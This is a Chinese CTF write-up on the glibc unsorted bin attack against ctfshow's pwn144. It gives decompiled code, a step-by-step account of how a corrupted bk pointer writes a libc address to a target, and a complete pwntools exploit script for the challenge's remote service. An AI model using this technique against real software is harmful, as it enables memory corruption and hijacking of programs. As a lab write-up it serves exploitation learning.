unsorted bin attack
原理学习:unsorted bin attack就是能把某个地址的值改成很大,但是这个很大的值又不可控。(这里的ctfshow的pwn144涉及到了这个手法,但是不完全,以后碰到在接着总结)
pwn144
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; char buf[8]; unsigned __int64 v5;
v5 = __readfsqword(0x28u); init(argc, argv, envp); logo(); while ( 1 ) { while ( 1 ) { menu(); read(0, buf, 8uLL); v3 = atoi(buf); if ( v3 != 3 ) break; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit(0); if ( v3 == 114514 ) { if ( (unsigned __int64)magic <= 0x1BF52 ) { puts("So sad !"); } else { puts("Congrt !"); TaT(); } } else { LABEL_17: puts("Invalid Choice"); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| unsigned __int64 edit_heap() { int v1; __int64 v2; char buf[4]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( (unsigned int)v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { printf("Size of Heap : "); read(0, buf, 8uLL); v2 = atoi(buf); printf("Content of heap : "); read_input(heaparray[v1], v2); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v4; }
|
edit函数没检查修改的chunk的大小可以进行对下一个堆的覆盖。
攻击思路:
- 先申请三个堆块,chunk0,chunk1,chunk2; chunk0用来改chunk1,chunk2用来隔开top_chunk
- 将chunk1的bk改成magic的地址-0x10(bk指向的是chunk的其实地址,我们要把magic的地址放入data的位置)
- 我们把chunk1放入unsorted bin,然后再申请一样大小的堆,就可以将magic改成一个很大的值。
攻击原理:利用 malloc
从 Unsorted Bin 中取出一个 chunk(称为 victim
)时,对 Unsorted Bin 双向链表进行的拆链操作。通过篡改 victim->bk
指针,欺骗分配器,让它错误地更新链表,从而将 target
地址误认为是链表中的一个合法 chunk 的起始位置(chunk header
),并将 main_arena 中指向 Unsorted Bin 的指针写入这个“伪造 chunk”的 fd
字段。
这里附一个关键步骤详解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| 1.准备 Victim Chunk 并放入 Unsorted Bin:
申请一个稍大的 chunk(例如大于 fastbin 的最大值)。
释放这个 chunk,使其进入 Unsorted Bin。
重要前提: 在攻击发生的时刻,Unsorted Bin 中最好只有这一个 chunk(victim),或者有多个大小完全相同的 chunk(且攻击目标是其中之一)。这样 victim->fd 和 victim->bk 都会直接指向 main_arena 中管理 Unsorted Bin 的头部指针 bin->bk 和 bin->fd,而不是其他 chunk。
2.篡改 Victim->bk:
利用堆漏洞(如 UAF、堆溢出)修改 victim chunk 的 bk 指针。
将 victim->bk 设置为 target - 0x10 (在 64 位系统上) 或 target - 0x8 (在 32 位系统上)。
为什么是 target - 0x10 (64位)?
Unsorted Bin 是一个管理 空闲 chunk 的双向链表。
链表中每个节点的指针(fd 和 bk)指向的是 其他空闲 chunk 的 header 起始地址 (chunk header)。
chunk header 在 64 位系统上通常是 0x10 字节(包含 size/prev_size 和 flags 字段)。
我们希望 malloc 返回后,target 地址处被写入那个巨大的值(即 target 被当作用户数据区 mem 的起始地址)。
为了让分配器认为 target 地址处有一个合法的 chunk,我们需要在 target - 0x10 处伪造一个 chunk header。这样:
伪造 chunk 的 header 地址 = target - 0x10
伪造 chunk 的用户数据区 (mem) 地址 = (target - 0x10) + 0x10 = target
所以,我们将 victim->bk 设置为 target - 0x10,就是在告诉分配器:“Unsorted Bin 中,victim 的下一个空闲 chunk(后向 chunk)的 header 位于 target - 0x10”。
3.触发分配 (malloc) - 拆链操作:
申请一个大小合适的 chunk(通常是和 victim 大小相同或满足 victim 分割条件的 size)。这会触发分配器从 Unsorted Bin 中取出 victim。
分配器执行标准的双向链表移除操作 (拆链):
c // 伪代码表示关键的拆链步骤 (基于 glibc 源码简化) bck = victim->bk; // 步骤 (a):bck = target - 0x10 bin->bk = bck; // 步骤 (a):Unsorted Bin 的 bk 指针更新为 target - 0x10 bck->fd = bin; // 步骤 (b):关键写入发生在这里! 步骤 (a): bin->bk = victim->bk = target - 0x10
分配器将 Unsorted Bin 的尾部指针 (bin->bk) 更新为 victim->bk 的值,也就是 target - 0x10。这意味着分配器现在认为 Unsorted Bin 中最后一个 chunk 的 header 在 target - 0x10。
步骤 (b): bck->fd = bin
bck 就是上一步得到的 target - 0x10。
bck->fd 表示“位于 target - 0x10 的这个伪造 chunk”的 fd 指针。
bin 是 main_arena 中管理 Unsorted Bin 的头部指针地址(它是一个很大的 libc 地址)。
这是攻击的核心写入点! 分配器将 bin (那个很大的 libc 地址) 写入到 (target - 0x10) + offset_of(fd) 的位置。
在 chunk 结构中,fd 位于 header 起始地址偏移 0x10 字节处(紧跟在 size 字段之后)。
写入地址 = (target - 0x10) + 0x10 = target。
因此,巨大的值 bin (main_arena 地址) 被写入了 target 地址处。
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * count=1 gdb_flag=0 if count==0: r=process('./pwn') else: r=remote('pwn.challenge.ctf.show',28127) if gdb_flag==1: gdb.attach(io) def cmd(x): r.recvuntil(b'Your choice :') r.sendline(str(x)) def add(size,data): cmd(1) r.recvuntil(b'Size of Heap : ') r.sendline(str(size)) r.recvuntil(b'Content of heap:') r.sendline(data) def delete(index): cmd(3) r.recvuntil(b'Index :') r.sendline(str(index)) def edit(index,size,data): cmd(2) r.recvuntil(b'Index :') r.sendline(str(index)) r.recvuntil(b'Size of Heap : ') r.sendline(str(size)) r.recvuntil(b'Content of heap : ') r.send(data) add(0x80,b'aaaa') add(0x80,b'bbbb') add(0x80,b'cccc') delete(1) target=0x6020a0 payload=b'x'*(0x90-0x10)+p64(0)+p64(0x91)+p64(0)+p64(target-0x10) edit(0,len(payload),payload) add(0x80,b'dddd') cmd(114514) r.interactive()
|